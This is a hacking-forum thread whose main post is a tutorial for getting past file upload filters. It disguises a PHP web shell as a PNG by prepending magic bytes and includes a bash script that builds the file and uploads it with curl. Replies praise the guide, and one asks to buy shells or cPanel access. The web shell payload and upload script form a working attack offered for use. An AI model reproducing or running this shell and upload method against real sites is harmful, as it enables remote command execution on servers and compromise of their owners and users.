

Forum:[Hack Forums](#)

Thread: [File Upload Filter Bypass with Embedded PHP Shell](#)

Clumsy - May 30, 2024, 5:19 pm

File Upload Filter Bypass

Scenario you have a place to upload files that you can access, but there is a filter making sure that the file type matches the ones expected (e.g. only image file types)

PNG Image Header

89 50 4E 47

Open a hex editor and create a new file, copy those bytes over to the beginning of the new file. Into the

TEXT area (on the right, not the bytes area where you just pasted the header above) paste your shell

```
<?php system($_GET['c']);?>
```

It should look like this

Take note of the length

Next start burp and navigate to the upload directory.

Then do the following

1. Turn on interceptor
2. Send an upload request with any file
3. Modify the request

Original

Modified

Then forward the request and disable interceptor.

You can automate this request by doing the following

Code #!/bin/bash

```
# Function to create PNG file with embedded PHP shell
create_embedded_shell_png() {
    echo -n -e "\x89\x50\x4E\x47" > embedded_shell.png
    echo '<?php system($_GET["c"]); ?>' >> embedded_shell.png
}

# Function to calculate file length
get_file_length() {
    file_length=$(stat -c %s embedded_shell.png)
    echo "$file_length"
}

# Function to upload file to server
upload_file() {
    url="http://example.com/upload.php" # Replace with actual upload URL
    file="embedded_shell.png"
    curl -X POST -F "file=@$file" $url
}

# Main script
echo "Creating PNG file with embedded PHP shell..."
create_embedded_shell_png

echo "File created successfully."

file_length=$(get_file_length)
echo "File length: $file_length bytes"

echo "Uploading file to server..."
upload_file

echo "File uploaded successfully."
```

chamfer - June 14, 2024, 9:32 pm

Thanks for the guide! For those interested, I've found this link which provides the magic numbers / file headers for common file types:

<https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5>

flyingduck - October 26, 2025, 6:37 am

hq post! thanks for sharing, and keep it coming!

JoshAllen - October 29, 2025, 8:41 am

Really good high quality post! Thank you for sharing your wisdom!

Ivanov_1 - October 29, 2025, 3:52 pm

Great hq post, well explained. Thanks for sharing.

ButtBundy - October 31, 2025, 8:21 am

would you be ok if i post this tut on my hacking companion website? www.hackpack.xyz

Sophiav - *November 12, 2025, 6:05 pm*
Do you sell shell or cpanel or wp?